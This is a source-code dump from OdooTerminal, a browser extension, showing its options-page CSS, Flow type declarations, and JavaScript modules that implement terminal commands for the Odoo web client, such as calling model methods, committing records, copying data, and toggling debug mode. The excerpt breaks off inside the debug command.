-------------------------------------------------------------------------------- 1 | /* Copyright Alexandre Díaz */ 2 | /* License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). */ 3 | 4 | body { 5 | background-color: #efefef; 6 | padding: 1em; 7 | } 8 | 9 | .btn_zone { 10 | margin-top: 1em; 11 | text-align: right; 12 | } 13 | 14 | .btn_zone > button { 15 | padding: 0.5em; 16 | } 17 | 18 | .optsection { 19 | border: 1px solid gray; 20 | padding: 0.8em; 21 | border-radius: 5px; 22 | background-color: white; 23 | box-shadow: #cecece 1px 1px 5px; 24 | } 25 | .optsection:not(:first-child) { 26 | margin-top: 0.5em; 27 | } 28 | .optsection h4 { 29 | margin: 0; 30 | font-size: 1.8em; 31 | } 32 | .optsection textarea { 33 | height: 200px; 34 | white-space: pre; 35 | width: 100%; 36 | } 37 | .optsection table.fullwidth { 38 | width: 100%; 39 | border-collapse: collapse; 40 | border: 1px solid #999; 41 | } 42 | .optsection table.fullwidth tr:nth-child(odd) { 43 | background-color: rgb(209, 209, 209); 44 | } 45 | .optsection table.fullwidth > thead > tr > th { 46 | padding: 0.3em; 47 | text-align: left; 48 | border: 1px solid #999; 49 | } 50 | .optsection table.fullwidth > tbody > tr:hover { 51 | background-color: rgb(193, 211, 199); 52 | } 53 | .optsection table.fullwidth > tbody > tr > td { 54 | padding: 0.3em; 55 | border: 1px solid #999; 56 | } 57 | .optsection .shortcut_btn_zone, 58 | .optsection .color_domain_btn_zone { 59 | display: flex; 60 | gap: 0.2em; 61 | flex-direction: row; 62 | margin-top: 1em; 63 | } 64 | .optsection .shortcut_btn_zone input#shortcut_keybind { 65 | width: 13%; 66 | } 67 | .optsection .shortcut_btn_zone input#shortcut_commands { 68 | flex-grow: 1; 69 | } 70 | 71 | .optsection .color_domain_btn_zone input#color_domain_domain { 72 | flex-grow: 1; 73 | } 74 | .optsection .color_domain_btn_zone input#color_domain_color { 75 | width: 18%; 76 | } 77 | -------------------------------------------------------------------------------- /src/img/terminal-128.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tardo/OdooTerminal/5cefc8ac9b60385802ba7e20273337c67e7b2218/src/img/terminal-128.png -------------------------------------------------------------------------------- /src/img/terminal-16.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tardo/OdooTerminal/5cefc8ac9b60385802ba7e20273337c67e7b2218/src/img/terminal-16.png -------------------------------------------------------------------------------- /src/img/terminal-32.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tardo/OdooTerminal/5cefc8ac9b60385802ba7e20273337c67e7b2218/src/img/terminal-32.png -------------------------------------------------------------------------------- /src/img/terminal-48.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tardo/OdooTerminal/5cefc8ac9b60385802ba7e20273337c67e7b2218/src/img/terminal-48.png -------------------------------------------------------------------------------- /src/img/terminal-disabled-16.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Tardo/OdooTerminal/5cefc8ac9b60385802ba7e20273337c67e7b2218/src/img/terminal-disabled-16.png -------------------------------------------------------------------------------- /src/js/common/logger.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | function get_line_log_head(section: string) { 6 | return `[OdooTerminal][${section}]`; 7 | } 8 | 9 | export default { 10 | info: (section: string, ...values: Array) => { 11 | console.info(get_line_log_head(section), ...values); 12 | }, 13 | warn: (section: string, ...values: Array) => { 14 | console.warn(get_line_log_head(section), ...values); 15 | }, 16 | error: (section: string, ...values: Array) => { 17 | console.error(get_line_log_head(section), ...values); 18 | }, 19 | }; 20 | -------------------------------------------------------------------------------- /src/js/common/utils/is_compatible_odoo_version.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | import {COMPATIBLE_VERSIONS} from '@common/constants.mjs'; 6 | 7 | export default function (version: string): boolean { 8 | if (!version) { 9 | // This can happens due to a service worker malfunction or by a modified controller 10 | return false; 11 | } 12 | return COMPATIBLE_VERSIONS.some(item => version.startsWith(item)); 13 | } 14 | -------------------------------------------------------------------------------- /src/js/common/utils/post_message.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | export type InternalMessageData = { 6 | type: string, 7 | rid: number, 8 | ... 9 | }; 10 | 11 | export default function (type: string, data: {[string]: mixed}, target_origin?: string): number { 12 | const rid: number = Number(Math.random().toString(10).slice(2)) 13 | const san_target_origin: string = target_origin !== undefined ? target_origin : document.location.href; 14 | const msg: InternalMessageData = { 15 | type: type, 16 | rid: rid, 17 | }; 18 | Object.assign(msg, data); 19 | window.postMessage(msg, san_target_origin); 20 | return rid; 21 | } 22 | -------------------------------------------------------------------------------- /src/js/common/utils/process_keybind.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | import {IGNORED_KEYS} from '@common/constants.mjs'; 6 | 7 | export default function (e: KeyboardEvent): Array { 8 | const keybind = []; 9 | if (e.altKey) { 10 | keybind.push('Alt'); 11 | } 12 | if (e.ctrlKey) { 13 | keybind.push('Ctrl'); 14 | } 15 | if (e.shiftKey) { 16 | keybind.push('Shift'); 17 | } 18 | if (e.metaKey) { 19 | keybind.push('Meta'); 20 | } 21 | if (IGNORED_KEYS.indexOf(e.key) === -1 && e.key) { 22 | keybind.push(e.key === ' ' ? 'Space' : e.key); 23 | } 24 | return keybind; 25 | } 26 | -------------------------------------------------------------------------------- /src/js/common/utils/sanitize_odoo_version.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | const regexVersion = /[a-z]+(?:\d+)?|[~+]|-\d+/g; 6 | export default function (ver: string): string | null { 7 | return ver?.replace(regexVersion, '') || null; 8 | } 9 | -------------------------------------------------------------------------------- /src/js/flow-typed/flow_missed.js: -------------------------------------------------------------------------------- 1 | declare function structuredClone(value: T, options?: {| transfer: any[] |}): T; 2 | declare function $(data: mixed): T; 3 | 4 | declare type Browser = Object; 5 | 6 | declare type AMutex = Object; 7 | 8 | declare type Deferred = { 9 | promise: Promise<>, 10 | resolve?: (value?: mixed) => void, 11 | reject?: (reason?: mixed) => void, 12 | }; 13 | -------------------------------------------------------------------------------- /src/js/flow-typed/odoo.js: -------------------------------------------------------------------------------- 1 | declare var odoo: Object; 2 | declare var owl: Object; 3 | declare var luxon: Object; 4 | declare var moment: Object; 5 | declare type OdooDomainTuple = [string, string, string | number | $ReadOnlyArray]; 6 | declare type OdooMany2One = [number, string]; 7 | declare type OdooSearchRecord = {[string]: mixed}; 8 | declare type OdooSession = { 9 | get_file: (options: {[string]: mixed}) => boolean, 10 | _session_authenticate: (db: string, login: string, passwd: string) => boolean, 11 | session_logout: void => void, 12 | user_context: {[string]: string | number}, 13 | db: string, 14 | uid: number, 15 | user_id: number, 16 | storeData: Object, 17 | [string]: number | string, 18 | }; 19 | declare type OdooSessionInfo = Object; 20 | declare type OdooSessionInfoUserContext = Object; 21 | declare type OdooLongpollingData = Object; 22 | declare type OdooLongpollingItem = [string, string] | {...}; 23 | declare type OdooSearchResponse = Object; 24 | 25 | declare type OdooRoot = Object; 26 | declare type OdooService = Object; 27 | declare type BusService = OdooService; 28 | declare type BarcodeService = OdooService; 29 | declare type UserService = OdooService; 30 | 31 | declare type OdooQueryRPCParams = Object; 32 | 33 | declare type OdooMetadataInfo = { 34 | id: number, 35 | create_uid: number, 36 | create_date: string, 37 | write_uid: number, 38 | write_date: string, 39 | noupdate: boolean, 40 | xmlid: string, 41 | }; 42 | -------------------------------------------------------------------------------- /src/js/page/odoo/base/do_action.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | import asyncSleep from '@terminal/utils/async_sleep'; 6 | import getOdooVersion from '@odoo/utils/get_odoo_version'; 7 | import getOdooRoot from '@odoo/utils/get_odoo_root'; 8 | import doTrigger from './do_trigger'; 9 | 10 | export default async function (action: string | number | {[string]: mixed}, options: ?{[string]: mixed}): Promise<> { 11 | const OdooVerMajor = getOdooVersion('major'); 12 | if (typeof OdooVerMajor === 'number') { 13 | if (OdooVerMajor >= 17) { 14 | await getOdooRoot().actionService.doAction(action, options); 15 | return {id: action}; 16 | } else if (OdooVerMajor >= 14) { 17 | doTrigger('do-action', {action, options}); 18 | // Simulate end of the 'action' 19 | // FIXME: This makes me cry 20 | await asyncSleep(1800); 21 | return {id: action}; 22 | } 23 | } 24 | 25 | return await new Promise((resolve, reject) => { 26 | doTrigger('do_action', { 27 | action: action, 28 | options: options, 29 | on_success: resolve, 30 | on_fail: reject, 31 | }); 32 | }); 33 | } 34 | -------------------------------------------------------------------------------- /src/js/page/odoo/base/do_call.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | import doTrigger from './do_trigger'; 6 | 7 | export default function (service: string, method: string): ?T { 8 | const args = Array.from(arguments).slice(2); 9 | let result: T; 10 | doTrigger('call_service', { 11 | service: service, 12 | method: method, 13 | args: args, 14 | callback: function (r: T) { 15 | result = r; 16 | }, 17 | }); 18 | return result; 19 | } 20 | -------------------------------------------------------------------------------- /src/js/page/odoo/base/do_trigger.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | import getOdooEnv from '@odoo/utils/get_odoo_env'; 6 | import getOdooVersion from '@odoo/utils/get_odoo_version'; 7 | 8 | export default function (event_name: string, event_options: {[string]: mixed}): mixed { 9 | const OdooVerMajor = getOdooVersion('major'); 10 | const OdooEnv = getOdooEnv(); 11 | let trigger = null; 12 | let context = null; 13 | if (typeof OdooVerMajor === 'number' && OdooVerMajor >= 14) { 14 | trigger = OdooEnv.bus.trigger; 15 | context = OdooEnv.bus; 16 | } else { 17 | trigger = OdooEnv.trigger_up; 18 | context = OdooEnv; 19 | } 20 | 21 | return trigger.call(context, event_name, event_options); 22 | } 23 | -------------------------------------------------------------------------------- /src/js/page/odoo/base/execute_action.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | import getOdooVersion from '@odoo/utils/get_odoo_version'; 6 | import doTrigger from './do_trigger'; 7 | 8 | export default function (payload: {...}) { 9 | const OdooVerMajor = getOdooVersion('major'); 10 | if (typeof OdooVerMajor === 'number' && OdooVerMajor < 15) { 11 | return; 12 | } 13 | doTrigger('execute-action', payload); 14 | } 15 | -------------------------------------------------------------------------------- /src/js/page/odoo/base/helpers.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | export default ` 6 | $RMOD = function () { 7 | return (info --active-model) 8 | } 9 | $RID = function () { 10 | return (info --active-id) 11 | } 12 | $UID = function () { 13 | return (info --user-id) 14 | } 15 | $UNAME = function () { 16 | return (info --user-login) 17 | } 18 | `; 19 | -------------------------------------------------------------------------------- /src/js/page/odoo/base/show_effect.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | import getOdooVersion from '@odoo/utils/get_odoo_version'; 6 | import getOdooEnv from '@odoo/utils/get_odoo_env'; 7 | import doTrigger from './do_trigger'; 8 | 9 | export default function (type: string, options: {[string]: mixed}) { 10 | const OdooVerMajor = getOdooVersion('major'); 11 | const payload = Object.assign({}, options, {type: type}); 12 | if (typeof OdooVerMajor === 'number') { 13 | if (OdooVerMajor < 15) { 14 | // Not supported 15 | return; 16 | } else if (OdooVerMajor >= 17) { 17 | getOdooEnv().services.effect.add(payload); 18 | return; 19 | } 20 | } 21 | doTrigger('show-effect', payload); 22 | } 23 | -------------------------------------------------------------------------------- /src/js/page/odoo/commands/backoffice/__all__.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | import cmdAction from './action'; 6 | import cmdEffect from './effect'; 7 | import cmdLang from './lang'; 8 | import cmdSettings from './settings'; 9 | import cmdView from './view'; 10 | import type VMachine from '@trash/vmachine'; 11 | 12 | export default function (vm: VMachine) { 13 | vm.registerCommand('view', cmdView()); 14 | vm.registerCommand('settings', cmdSettings()); 15 | vm.registerCommand('lang', cmdLang()); 16 | vm.registerCommand('action', cmdAction()); 17 | vm.registerCommand('effect', cmdEffect()); 18 | } 19 | -------------------------------------------------------------------------------- /src/js/page/odoo/commands/backoffice/action.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | // $FlowIgnore 6 | import i18n from 'i18next'; 7 | import doAction from '@odoo/base/do_action'; 8 | import {ARG} from '@trash/constants'; 9 | import type {CMDCallbackArgs, CMDDef} from '@trash/interpreter'; 10 | import type Terminal from '@terminal/terminal'; 11 | 12 | async function cmdCallAction(this: Terminal, kwargs: CMDCallbackArgs): Promise { 13 | return await doAction(kwargs.action, kwargs.options); 14 | } 15 | 16 | export default function (): Partial { 17 | return { 18 | definition: i18n.t('cmdAction.definition', 'Call action'), 19 | callback: cmdCallAction, 20 | detail: i18n.t('cmdAction.definition', 'Call action'), 21 | args: [ 22 | [ 23 | ARG.Any, 24 | ['a', 'action'], 25 | true, 26 | i18n.t('cmdAction.args.action', 'The action to launch
Can be an string, number or object'), 27 | ], 28 | [ARG.Dictionary, ['o', 'options'], false, i18n.t('cmdAction.args.options', 'The extra options to use')], 29 | ], 30 | example: '-a 134', 31 | }; 32 | } 33 | -------------------------------------------------------------------------------- /src/js/page/odoo/commands/backoffice/effect.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | // $FlowIgnore 6 | import i18n from 'i18next'; 7 | import showEffect from '@odoo/base/show_effect'; 8 | import getOdooService from '@odoo/utils/get_odoo_service'; 9 | import getOdooVersion from '@odoo/utils/get_odoo_version'; 10 | import isEmpty from '@trash/utils/is_empty'; 11 | import {ARG} from '@trash/constants'; 12 | import type {CMDCallbackArgs, CMDCallbackContext, CMDDef} from '@trash/interpreter'; 13 | import type Terminal from '@terminal/terminal'; 14 | 15 | async function cmdShowEffect(this: Terminal, kwargs: CMDCallbackArgs, ctx: CMDCallbackContext): Promise { 16 | const OdooVerMajor = getOdooVersion('major'); 17 | if (typeof OdooVerMajor === 'number' && OdooVerMajor < 15) { 18 | // Soft-Error 19 | ctx.screen.printError( 20 | i18n.t('cmdEffect.error.incompatibleOdooVersion', 'This command is only available in Odoo 15.0+'), 21 | ); 22 | return; 23 | } 24 | if (isEmpty(kwargs.type)) { 25 | const registry_obj = getOdooService('@web/core/registry'); 26 | if (typeof registry_obj === 'undefined') { 27 | throw new Error( 28 | i18n.t('cmdEffect.error.notRegistryService','Cannot find registry service') 29 | ); 30 | } 31 | const {registry} = registry_obj; 32 | const effects = registry.category('effects'); 33 | ctx.screen.print(i18n.t('cmdEffect.result.availableEffects', 'Available effects:')); 34 | ctx.screen.print(effects.getEntries().map(item => item[0])); 35 | } else { 36 | showEffect(kwargs.type, kwargs.options); 37 | } 38 | } 39 | 40 | export default function (): Partial { 41 | return { 42 | definition: i18n.t('cmdEffect.definition', 'Show effect'), 43 | callback: cmdShowEffect, 44 | detail: i18n.t('cmdEffect.detail', 'Show effect'), 45 | args: [ 46 | [ARG.String, ['t', 'type'], false, i18n.t('cmdEffect.args.type', 'The type of the effect')], 47 | [ARG.Dictionary, ['o', 'options'], false, i18n.t('cmdEffect.args.options', 'The extra options to use')], 48 | ], 49 | example: "-t rainbow_man -o {message: 'Hello world!'}", 50 | }; 51 | } 52 | -------------------------------------------------------------------------------- /src/js/page/odoo/commands/backoffice/settings.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | // $FlowIgnore 6 | import i18n from 'i18next'; 7 | import doAction from '@odoo/base/do_action'; 8 | import cachedSearchRead from '@odoo/net_utils/cached_search_read'; 9 | import {ARG} from '@trash/constants'; 10 | import type {CMDCallbackArgs, CMDDef} from '@trash/interpreter'; 11 | import type Terminal from '@terminal/terminal'; 12 | 13 | async function cmdOpenSettings(this: Terminal, kwargs: CMDCallbackArgs): Promise { 14 | await doAction({ 15 | name: 'Settings', 16 | type: 'ir.actions.act_window', 17 | res_model: 'res.config.settings', 18 | view_mode: 'form', 19 | views: [[false, 'form']], 20 | target: 'inline', 21 | context: {module: kwargs.module}, 22 | }); 23 | this.doHide(); 24 | } 25 | 26 | async function getOptions(this: Terminal, arg_name: string) { 27 | if (arg_name === 'module') { 28 | return cachedSearchRead( 29 | 'options_ir.module.module_active', 30 | 'ir.module.module', 31 | [], 32 | ['name'], 33 | await this.getContext({active_test: true}), 34 | undefined, 35 | {orderBy: 'name ASC'}, 36 | item => item.name, 37 | ); 38 | } 39 | return []; 40 | } 41 | 42 | export default function (): Partial { 43 | return { 44 | definition: i18n.t('cmdSettings.definition', 'Open settings page'), 45 | callback: cmdOpenSettings, 46 | options: getOptions, 47 | detail: i18n.t('cmdSettings.detail', 'Open settings page.'), 48 | args: [ 49 | [ 50 | ARG.String, 51 | ['m', 'module'], 52 | false, 53 | i18n.t('cmdSettings.args.module', 'The module technical name'), 54 | 'general_settings', 55 | ], 56 | ], 57 | example: '-m sale_management', 58 | }; 59 | } 60 | -------------------------------------------------------------------------------- /src/js/page/odoo/commands/common/__utils__.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | import searchRead from '@odoo/orm/search_read'; 6 | import type Terminal from '@odoo/terminal'; 7 | 8 | export async function searchModules( 9 | this: Terminal, 10 | module_names: $ReadOnlyArray | string, 11 | ): Promise> { 12 | let domain: Array = []; 13 | if (typeof module_names === 'string') { 14 | domain = [['name', '=', module_names]]; 15 | } else if (module_names?.length === 1) { 16 | domain = [['name', '=', module_names[0]]]; 17 | } else { 18 | domain = [['name', 'in', module_names]]; 19 | } 20 | return searchRead('ir.module.module', domain, ['name', 'display_name'], await this.getContext()); 21 | } 22 | -------------------------------------------------------------------------------- /src/js/page/odoo/commands/common/call.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | // $FlowIgnore 6 | import i18n from 'i18next'; 7 | import rpcQuery from '@odoo/rpc'; 8 | import cachedSearchRead from '@odoo/net_utils/cached_search_read'; 9 | import {ARG} from '@trash/constants'; 10 | import type {CMDCallbackArgs, CMDCallbackContext, CMDDef} from '@trash/interpreter'; 11 | import type Terminal from '@odoo/terminal'; 12 | 13 | async function cmdCallModelMethod(this: Terminal, kwargs: CMDCallbackArgs, ctx: CMDCallbackContext): Promise { 14 | const pkwargs = kwargs.kwarg; 15 | pkwargs.context ??= this.getContext(); 16 | 17 | return rpcQuery({ 18 | method: kwargs.call, 19 | model: kwargs.model, 20 | args: kwargs.argument, 21 | kwargs: pkwargs, 22 | }).then(result => { 23 | ctx.screen.eprint(result, false, 'line-pre'); 24 | return result; 25 | }); 26 | } 27 | 28 | async function getOptions(this: Terminal, arg_name: string): Promise> { 29 | if (arg_name === 'model') { 30 | return cachedSearchRead( 31 | 'options_ir.model_active', 32 | 'ir.model', 33 | [], 34 | ['model'], 35 | await this.getContext({active_test: true}), 36 | undefined, 37 | {orderBy: 'model ASC'}, 38 | item => item.model, 39 | ); 40 | } 41 | return []; 42 | } 43 | 44 | export default function (): Partial { 45 | return { 46 | definition: i18n.t('cmdCall.definition', 'Call model method'), 47 | callback: cmdCallModelMethod, 48 | options: getOptions, 49 | detail: i18n.t( 50 | 'cmdCall.detail', 51 | "Call model method. Remember: Methods with @api.model decorator doesn't need the id.", 52 | ), 53 | args: [ 54 | [ARG.String, ['m', 'model'], true, i18n.t('cmdCall.args.model', 'The model technical name')], 55 | [ARG.String, ['c', 'call'], true, i18n.t('cmdCall.args.call', 'The method name to call')], 56 | [ARG.List | ARG.Any, ['a', 'argument'], false, i18n.t('cmdCall.args.argument', 'The arguments list'), []], 57 | [ARG.Dictionary, ['k', 'kwarg'], false, i18n.t('cmdCall.args.kwarg', 'The arguments dictionary'), {}], 58 | ], 59 | example: '-m res.partner -c address_get -a [8]', 60 | }; 61 | } 62 | -------------------------------------------------------------------------------- /src/js/page/odoo/commands/common/commit.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | // $FlowIgnore 6 | import i18n from 'i18next'; 7 | import writeRecord from '@odoo/orm/write_record'; 8 | import Recordset from '@terminal/core/recordset'; 9 | import isEmpty from '@trash/utils/is_empty'; 10 | import {ARG} from '@trash/constants'; 11 | import type {CMDCallbackArgs, CMDCallbackContext, CMDDef} from '@trash/interpreter'; 12 | import type Terminal from '@odoo/terminal'; 13 | 14 | async function cmdCommit(this: Terminal, kwargs: CMDCallbackArgs, ctx: CMDCallbackContext) { 15 | if (!Recordset.isValid(kwargs.recordset)) { 16 | throw new Error(i18n.t('cmdCommit.error.invalidRecordset', 'Invalid recordset')); 17 | } 18 | 19 | const values_to_write = kwargs.recordset.toWrite(); 20 | if (isEmpty(values_to_write)) { 21 | ctx.screen.printError(i18n.t('cmdCommit.error.noCommit', 'Nothing to commit!')); 22 | return false; 23 | } 24 | const pids = []; 25 | const tasks = []; 26 | for (const [rec_id, values] of values_to_write) { 27 | tasks.push(writeRecord(kwargs.recordset.model, rec_id, values, await this.getContext())); 28 | pids.push(rec_id); 29 | } 30 | 31 | await Promise.all(tasks); 32 | kwargs.recordset.persist(); 33 | ctx.screen.print( 34 | i18n.t('cmdCommit.error.success', "Records '{{pids}}' of {{model}} updated successfully", { 35 | pids, 36 | model: kwargs.recordset.model, 37 | }), 38 | ); 39 | return true; 40 | } 41 | 42 | export default function (): Partial { 43 | return { 44 | definition: i18n.t('cmdCommit.definition', 'Commit recordset changes'), 45 | callback: cmdCommit, 46 | detail: i18n.t('cmdCommit.detail', 'Write recordset changes'), 47 | args: [[ARG.Any, ['r', 'recordset'], true, i18n.t('cmdCommit.args.recordset', 'The Recordset')]], 48 | example: '-r $recordset', 49 | }; 50 | } 51 | -------------------------------------------------------------------------------- /src/js/page/odoo/commands/common/copy.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | // $FlowIgnore 6 | import i18n from 'i18next'; 7 | import {ARG} from '@trash/constants'; 8 | import postMessage from '@common/utils/post_message'; 9 | import Recordset from '@terminal/core/recordset.mjs'; 10 | import type {CMDCallbackArgs, CMDCallbackContext, CMDDef} from '@trash/interpreter'; 11 | import type Terminal from '@odoo/terminal'; 12 | 13 | function onMessageCopyDone( 14 | this: Terminal, 15 | // $FlowFixMe 16 | resolve: Object, 17 | ctx: CMDCallbackContext, 18 | data: {[string]: mixed}, 19 | ): Promise<> { 20 | // This is necessary due to 'bound' function usage 21 | this.removeMessageListener('ODOO_TERM_COPY_DONE', onMessageCopyDone.bind(this, resolve, ctx)); 22 | ctx.screen.print(i18n.t('cmdCopy.result.dateCopied', 'Data copied!')); 23 | return resolve(data.values); 24 | } 25 | 26 | function cmdCopy(this: Terminal, kwargs: CMDCallbackArgs, ctx: CMDCallbackContext): Promise<> { 27 | return new Promise(resolve => { 28 | const vals: {[string]: string} = { 29 | type: 'var', 30 | data: JSON.stringify(kwargs.data), 31 | }; 32 | 33 | if (kwargs.type === 'auto' && kwargs.data instanceof Recordset) { 34 | Object.assign(vals, { 35 | type: 'model', 36 | model: kwargs.data.model, 37 | }); 38 | } 39 | this.addMessageListener('ODOO_TERM_COPY_DONE', onMessageCopyDone.bind(this, resolve, ctx)); 40 | postMessage('ODOO_TERM_COPY', { 41 | values: vals, 42 | }); 43 | }); 44 | } 45 | 46 | export default function (): Partial { 47 | return { 48 | definition: i18n.t('cmdCopy.definition', 'Copy data to paste them into other instances'), 49 | callback: cmdCopy, 50 | detail: i18n.t('cmdCopy.detail', 'Copy model records or variables'), 51 | args: [ 52 | [ARG.Any, ['d', 'data'], true, i18n.t('cmdCopy.args.data', 'The data')], 53 | [ARG.String, ['t', 'type'], false, i18n.t('cmdCopy.args.type', 'The type of data'), 'auto', ['auto', 'var']], 54 | ], 55 | example: '-t model -d (search res.partner -f *)', 56 | }; 57 | } 58 | -------------------------------------------------------------------------------- /src/js/page/odoo/commands/common/count.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | // $FlowIgnore 6 | import i18n from 'i18next'; 7 | import searchCount from '@odoo/orm/search_count'; 8 | import cachedSearchRead from '@odoo/net_utils/cached_search_read'; 9 | import {ARG} from '@trash/constants'; 10 | import type {CMDCallbackArgs, CMDCallbackContext, CMDDef} from '@trash/interpreter'; 11 | import type Terminal from '@odoo/terminal'; 12 | 13 | async function cmdCount(this: Terminal, kwargs: CMDCallbackArgs, ctx: CMDCallbackContext) { 14 | return searchCount(kwargs.model, kwargs.domain, await this.getContext(), kwargs.options).then(result => { 15 | ctx.screen.print(i18n.t('cmdCount.result', 'Result: {{result}}', {result})); 16 | return result; 17 | }); 18 | } 19 | 20 | async function getOptions(this: Terminal, arg_name: string) { 21 | if (arg_name === 'model') { 22 | return cachedSearchRead( 23 | 'options_ir.model_active', 24 | 'ir.model', 25 | [], 26 | ['model'], 27 | await this.getContext({active_test: true}), 28 | undefined, 29 | {orderBy: 'model ASC'}, 30 | item => item.model, 31 | ); 32 | } 33 | return []; 34 | } 35 | 36 | export default function (): Partial { 37 | return { 38 | definition: i18n.t('cmdCount.definition', 'Gets number of records from the given model in the selected domain'), 39 | callback: cmdCount, 40 | options: getOptions, 41 | detail: i18n.t('cmdCount.detail', 'Gets number of records from the given model in the selected domain'), 42 | args: [ 43 | [ARG.String, ['m', 'model'], true, i18n.t('cmdCount.args.model', 'The model technical name')], 44 | [ARG.List | ARG.Any, ['d', 'domain'], false, i18n.t('cmdCount.args.domain', 'The domain'), []], 45 | [ARG.Dictionary, ['o', 'options'], false, i18n.t('cmdCount.args.options', 'The options')], 46 | ], 47 | example: "-m res.partner -d [['name', '=ilike', 'A%']]", 48 | }; 49 | } 50 | -------------------------------------------------------------------------------- /src/js/page/odoo/commands/common/debug.mjs: -------------------------------------------------------------------------------- 1 | // @flow strict 2 | // Copyright Alexandre Díaz 3 | // License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). 4 | 5 | // $FlowIgnore 6 | import i18n from 'i18next'; 7 | import {ARG} from '@trash/constants'; 8 | import type {CMDCallbackArgs, CMDCallbackContext, CMDDef} from '@trash/interpreter'; 9 | 10 | function updateLocationSearch(data: {[string]: string | number}) { 11 | const search = Object.fromEntries( 12 | window.location.search 13 | .substr(1) 14 | .split('&') 15 | .map(item => item.split('=')), 16 | ); 17 | Object.assign(search, data); 18 | window.location.search = Object.entries(search) 19 | .map(item => item.join('=')) 20 | .join('&'); 21 | } 22 | 23 | async function cmdSetDebugMode(kwargs: CMDCallbackArgs, ctx: CMDCallbackContext) { 24 | let sdebug; 25 | if (kwargs.mode === 0) { 26 | ctx.screen.print(i18n.t('cmdDebug.result.disabled', 'Debug mode disabled')); 27 | sdebug = ''; 28 | } else if (kwargs.mode === 1) { 29 | ctx.screen.print(i18n.t('cmdDebug.result.enabled', 'Debug mode enabled')); 30 | sdebug = '1'; 31 | } else if (kwargs.mode === 2) { 32 | ctx.screen.print(i18n.t('cmdDebug.result.enabledAssets', 'Debug mode with assets enabled')); 33 | sdebug = 'assets'; 34 | } 35 | 36 | if (typeof sdebug !== 'undefined') { 37 | ctx.screen.print(i18n.t('cmdDebug.result.reload', 'Reloading page...')); 38 | updateLocationSearch({debug: sdebug}); 39 | } else { 40 | throw new Error(i18n.t('cmdDebug.error.invalidDebugMode', 'Invalid debug mode')); 41 | } 42 | } 43 | 44 | export default function (): Partial { 45 | return { 46 | definition: i18n.t('cmdDebug.definition', 'Set debug mode'), 47 | callback: cmdSetDebugMode, 48 | detail: i18n.t('cmdDebug.detail', 'Set debug mode'), 49 | args: [ 50 | [ 51 | ARG.Number, 52 | ['m', 'mode'], 53 | true, 54 | i18n.t('cmdDebug.args.mode', 'The mode
- 0: Disabled
- 1: Enabled
